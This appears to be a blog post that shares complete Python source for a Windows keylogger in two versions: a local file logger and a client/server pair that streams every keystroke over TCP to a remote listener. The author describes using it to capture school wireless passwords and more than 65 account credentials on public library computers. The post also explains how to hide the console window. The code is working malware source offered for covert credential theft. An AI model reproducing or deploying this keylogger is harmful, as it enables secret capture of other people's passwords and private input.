KeyLogger

This is a key logger I wrote some time ago. I found it useful when the IT guy at my school had to “configure” my laptop for the students access point. It gave me the pass phrase he entered. He couldn’t get it to connect, so he tested it on the faculties access point; so now I have all passwords for the schools wireless. I also ran a test on some computers at a local library and got over 65 usernames and passwords from myspace to gmail. I deleted all of them and never used the accounts I had access to; just wanted to see if and how well it worked.

I wrote two versions. One is a local logger; meaning it logs to the computer it is running on. The other is a client/server pair and is good for LAN/WAN networks. I wouldn’t trust the internet unless you want to add some SSL, I’m too lazy. And if you do, please post your code or a link to it in the comments.

Note: You can suppress the command console from popping up by saving your python file as .pyw

Version 1 (local)

Requires:

  • pyWin32 http://sourceforge.net/projects/pywin32/
  • pyHook http://pypi.python.org/pypi/pyHook/1.4/
#keylog.py
import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'Path//To//Log.out' #I.E. C:\Users\Tech\Desktop\log.out

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
    level=logging.DEBUG,
    format='%(message)s')
    #print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Version 2.A (server)

import socket, logging, sys

logFile = 'path\to\log.out'
logging.basicConfig(filename=logFile, level=logging.DEBUG, format='%(message)s')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('',6666))

s.listen(5)
conn, addr = s.accept()
print 'Client: ', addr[0]
logging.log(10,addr[0])

while 1:
    try:
    data = conn.recv(500)
    if data:
    print data
    logging.log(10,data)
    except socket.error:
        logging.log(10,'=-=-=-=-=END=-=-=-=-=-')
        print 'Connection at ', addr[0] ,' broken.'
        sys.exit()

Version 2.B (client)

try:
    import pythoncom, pyHook, sys, socket
except:
    print 'import error, check to make sure pythoncom and pyHook are installed'
    sys.exit()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.216.1',6666)) #Change localhost to your servers IP

def OnKeyboardEvent(event):
    print "Key: ", chr(event.Ascii)
    s.send(chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()